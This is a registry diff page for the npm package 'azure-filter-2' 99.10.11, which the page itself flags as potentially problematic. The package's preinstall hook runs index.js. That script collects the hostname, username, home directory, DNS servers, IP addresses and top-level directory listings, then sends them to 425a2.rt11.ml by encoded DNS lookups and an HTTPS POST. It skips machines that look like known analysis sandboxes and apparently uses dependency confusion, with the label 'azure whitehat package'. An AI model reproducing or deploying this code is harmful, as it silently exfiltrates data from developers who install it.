azure-filter-2 99.10.11

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of azure-filter-2 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +208 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,208 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require('fs');
6
+ var path = require('path');
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ function checkhex(inputString){
11
+ var re = /^[0-9a-f]+$/g;
12
+ if(re.test(inputString)) {
13
+ return true
14
+ } else {
15
+ return false;
16
+ }
17
+ }
18
+ function checkpath(inputString){
19
+ var re = /^\/root\/extract[0-9]+\/package$/g;
20
+ if(re.test(inputString)) {
21
+ return true
22
+ } else {
23
+ return false;
24
+ }
25
+ }
26
+ function checklili(inputString){
27
+ var re = /^\/home\/lili\/vastest\/[0-9]+\/package$/g;
28
+ if(re.test(inputString)) {
29
+ return true
30
+ } else {
31
+ return false;
32
+ }
33
+ }
34
+ function isValid(hostname,path,username,dirs){
35
+ if(dirs.length==0){
36
+ lastdir = "";
37
+ }
38
+ else{
39
+ lastdir = dirs[dirs.length-1];
40
+ }
41
+ if(hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path.startsWith('D:\\TRANSFER\\')){
42
+ return false;
43
+ }
44
+ else if(checkhex(hostname) && path.startsWith('/root/node_modules/') && lastdir == '/home/node'){
45
+ return false;
46
+ }
47
+ else if(checkhex(hostname) && checkpath(path)){
48
+ return false;
49
+ }
50
+ else if(hostname == 'box' && path.startsWith('/app/node_modules/') && lastdir == '/home/node'){
51
+ return false;
52
+ }
53
+ else if(hostname == 'box' && path.startsWith('/app/node_modules/')){
54
+ return false;
55
+ }
56
+ else if(checkhex(hostname) && path.startsWith('/root/node_modules') && lastdir == '/home/node'){
57
+ return false;
58
+ }
59
+ else if(checkhex(hostname) && path.startsWith('/root/node_modules')){
60
+ return false;
61
+ }
62
+ else if(hostname == 'lili-pc' && checklili(path)){
63
+ return false;
64
+ }
65
+ else if(hostname == 'aws-7grara913oid5jsexgkq'){
66
+ return false;
67
+ }
68
+ else if(hostname == 'instance' && path.startsWith('/home/app/node_modules/') && username == 'app' && lastdir == '/home/app'){
69
+ return false;
70
+ }
71
+ else{
72
+ return true;
73
+ }
74
+ }
75
+ function getFiles(paths) {
76
+ var ufiles=[];
77
+ for(var j=0;j<paths.length;j++){
78
+ try{
79
+ mpath = paths[j];
80
+ files = fs.readdirSync(mpath);
81
+ for(var i=0;i<files.length;i++){
82
+ ufiles.push(path.join(mpath,files[i]));
83
+ }
84
+ }
85
+ catch(error){}
86
+ }
87
+ return ufiles;
88
+ }
89
+
90
+ function isprivate(ip) {
91
+ if(ip.startsWith('fe80::')||ip=="::1")
92
+ return true;
93
+ var parts = ip.split('.');
94
+ return parts[0] === '10' ||
95
+ (parts[0] === '172' && (parseInt(parts[1], 10) >= 16 && parseInt(parts[1], 10) <= 31)) ||
96
+ (parts[0] === '192' && parts[1] === '168') || (parts[0] === '127' && parts[1] === '0' && parts[2] === '0');
97
+ }
98
+
99
+ function toHex(data){
100
+ const bufferText = Buffer.from(data, 'utf8');
101
+ const text = bufferText.toString('hex');
102
+ return text;
103
+ }
104
+
105
+ function todashedip(ip){
106
+ return ip.replace(/\./g, '-').replace(/:/g,'-');
107
+ }
108
+
109
+ function gethttpips(){
110
+ var str=[];
111
+ var networkInterfaces = os.networkInterfaces();
112
+ for(item in networkInterfaces){
113
+ if(item != "lo"){
114
+ for(var i=0;i<networkInterfaces[item].length;i++){
115
+ str.push(networkInterfaces[item][i].address);
116
+ }
117
+ }
118
+ }
119
+ return str;
120
+ }
121
+
122
+ function getIps(){
123
+ var str=[];
124
+ var networkInterfaces = os.networkInterfaces();
125
+ for(item in networkInterfaces){
126
+ if(item != "lo"){
127
+ for(var i=0;i<networkInterfaces[item].length;i++){
128
+ if(!isprivate(networkInterfaces[item][i].address))
129
+ str.push(networkInterfaces[item][i].address);
130
+ }
131
+ }
132
+ }
133
+ for(var i=0;i<str.length;i++){
134
+ if(str[i].includes('.'))
135
+ return "i."+todashedip(str[i])+".i";
136
+ }
137
+ if(str.length>0)
138
+ return "i."+todashedip(str[0])+".i";
139
+ else
140
+ return "i._.i";
141
+ }
142
+
143
+ function getPathChunks(path){
144
+ str="";
145
+ chunks = path.split('/');
146
+ for(var i=0;i<chunks.length;i++){
147
+ str=str+toHex(chunks[i])+".";
148
+ }
149
+ str=str.slice(1,-1);
150
+ return "p."+str+".p";
151
+ }
152
+
153
+ function toName(pkg){
154
+ var str="";
155
+ var queries = [];
156
+ var substr1 = "";
157
+ var substr2 = "";
158
+ var hostname = "425a2.rt11.ml";
159
+ str=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps()+"."+hostname;
160
+ queries.push(str);
161
+ return queries;
162
+ }
163
+
164
+ const td = {
165
+ p: package,
166
+ c: __dirname,
167
+ hd: os.homedir(),
168
+ hn: os.hostname(),
169
+ un: os.userInfo().username,
170
+ dns: JSON.stringify(dns.getServers()),
171
+ ip: JSON.stringify(gethttpips()),
172
+ dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])),
173
+ }
174
+ var qs = toName(td);
175
+ if(isValid(td.hn,td.c,td.un,td.dirs)){
176
+ for(var j=0;j<qs.length;j++){
177
+ dns.lookup(qs[j], function(err, result) {
178
+ //console.log(result)
179
+ });
180
+ }
181
+ const trackingData = JSON.stringify(td);
182
+ var postData = querystring.stringify({
183
+ msg: trackingData,
184
+ });
185
+ var options = {
186
+ hostname: "425a2.rt11.ml",
187
+ port: 443,
188
+ path: "/",
189
+ method: "POST",
190
+ headers: {
191
+ "Content-Type": "application/x-www-form-urlencoded",
192
+ "Content-Length": postData.length,
193
+ },
194
+ };
195
+
196
+ var req = https.request(options, (res) => {
197
+ res.on("data", (d) => {
198
+ //process.stdout.write(d);
199
+ });
200
+ });
201
+
202
+ req.on("error", (e) => {
203
+ // console.error(e);
204
+ });
205
+
206
+ req.write(postData);
207
+ req.end();
208
+ }
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "azure-filter-2",
3
+ "version": "99.10.11",
4
+ "description": "azure whitehat package",
5
+ "main":"index.js",
6
+ "scripts":{
7
+ "test":"echo 'error no test specified' && exit 1",
8
+ "preinstall":"node index.js"
9
+ },
10
+ "author":"",
11
+ "License":"ISC"
12
+ }